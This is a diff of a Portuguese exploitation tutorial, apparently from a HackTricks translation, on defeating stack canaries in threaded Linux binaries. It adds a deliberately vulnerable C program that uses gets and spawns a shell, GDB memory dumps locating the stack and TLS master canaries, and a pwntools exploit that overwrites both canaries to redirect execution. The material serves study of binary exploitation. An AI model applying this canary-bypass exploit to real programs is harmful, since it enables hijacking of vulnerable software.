Translated ['reversing-and-exploiting/linux-exploiting-basic-esp/common-

reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md

@@ -116,9 +116,117 @@ log.info(f"The canary is: {canary}")
 ```
 ## Threads
 
-As threads do mesmo processo também **compartilharão o mesmo token de canário**, portanto será possível **forçar** um canário se o binário gerar uma nova thread toda vez que um ataque acontecer. 
+As threads do mesmo processo também **compartilharão o mesmo token canary**, portanto será possível **forçar** um canary se o binário gerar uma nova thread toda vez que um ataque acontecer. 
 
+Um estouro de buffer em uma função com threads protegida com canary pode ser usada para modificar o canary principal do processo. Como resultado, a mitigação é inútil porque a verificação é feita com dois canaries que são iguais (embora modificados).
+
+### Exemplo
+
+O programa a seguir é vulnerável a Buffer Overflow, mas está compilado com canary:
+```c
+#include <pthread.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <unistd.h>
+
+// gcc thread_canary.c -no-pie -l pthread -o thread_canary
+
+void win() {
+execve("/bin/sh", NULL, NULL);
+}
+
+void* vuln() {
+char data[0x20];
+gets(data);
+}
+
+int main() {
+pthread_t thread;
+
+pthread_create(&thread, NULL, vuln, NULL);
+pthread_join(thread, NULL);
+
+return 0;
+}
+```
+Observe que `vuln` é chamado dentro de uma thread. No GDB, podemos dar uma olhada em `vuln`, especificamente, no ponto em que o programa chama `gets` para ler os dados de entrada:
+```bash
+gef> break gets
+Breakpoint 1 at 0x4010a0
+gef> run
+...
+gef> x/10gx $rdi
+0x7ffff7d7ee20: 0x0000000000000000      0x0000000000000000
+0x7ffff7d7ee30: 0x0000000000000000      0x0000000000000000
+0x7ffff7d7ee40: 0x0000000000000000      0x493fdc653a156800
+0x7ffff7d7ee50: 0x0000000000000000      0x00007ffff7e17ac3
+0x7ffff7d7ee60: 0x0000000000000000      0x00007ffff7d7f640
+```
+O acima representa o endereço de `data`, onde o programa escreverá a entrada do usuário. O canário da pilha é encontrado em `0x7ffff7d7ee48` (`0x493fdc653a156800`), e o endereço de retorno está em `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`):
+```bash
+gef> telescope $rdi 8 -n
+0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000  <-  $rdi
+0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000
+0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000
+0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000
+0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000
+0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800  <-  canary
+0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000  <-  $rbp
+0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 <start_thread+0x2f3>  ->  0xe8ff31fffffe6fe9  <-  retaddr[2]
+```
+Observe que os endereços da pilha não pertencem à pilha real:
+```bash
+gef> vmmap stack
+[ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
+Start              End                Size               Offset             Perm Path
+0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <tls-th1><stack-th2>  <-  $rbx, $rsp, $rbp, $rsi, $rdi, $r12
+0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack]  <-  $r9, $r15
+```
+O stack da thread é colocado acima do Armazenamento Local da Thread (TLS), onde o canário mestre é armazenado:
+```bash
+gef> tls
+$tls = 0x7ffff7d7f640
+...
+---------------------------------------------------------------------------- TLS ----------------------------------------------------------------------------
+0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640  ->  [loop detected]  <-  $rbx, $r12
+0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0  ->  0x0000000000000001
+0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640  ->  [loop detected]
+0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001
+0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000
+0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800  <-  canary
+0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4  <-  PTR_MANGLE cookie
+0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000
+...
+```
+{% hint style="info" %}
+Algumas das funções GDB acima são definidas em uma extensão chamada [bata24/gef](https://github.com/bata24/gef), que possui mais recursos do que o [hugsy/gef](https://github.com/hugsy/gef) comum.
+{% endhint %}
+
+Como resultado, um grande Buffer Overflow pode permitir modificar tanto o stack canary quanto o master canary no TLS. Este é o deslocamento:
+```bash
+gef> p/x 0x7ffff7d7f668 - $rdi
+$1 = 0x848
+```
+Este é um exploit curto para chamar `win`:
+```python
+from pwn import *
+
+context.binary = 'thread_canary'
+
+payload  = b'A' * 0x28                    # buffer overflow offset
+payload += b'BBBBBBBB'                    # overwritting stack canary
+payload += b'A' * 8                       # saved $rbp
+payload += p64(context.binary.sym.win)    # return address
+payload += b'A' * (0x848 - len(payload))  # padding
+payload += b'BBBBBBBB'                    # overwritting master canary
+
+io = context.binary.process()
+io.sendline(payload)
+io.interactive()
+```
 ## Outros exemplos e referências
 
 * [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
 * 64 bits, sem PIE, nx, BF canary, escrever em alguma memória um ROP para chamar `execve` e pular para lá.
+* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
+* 64 bits, sem PIE, nx, modificar thread e master canary.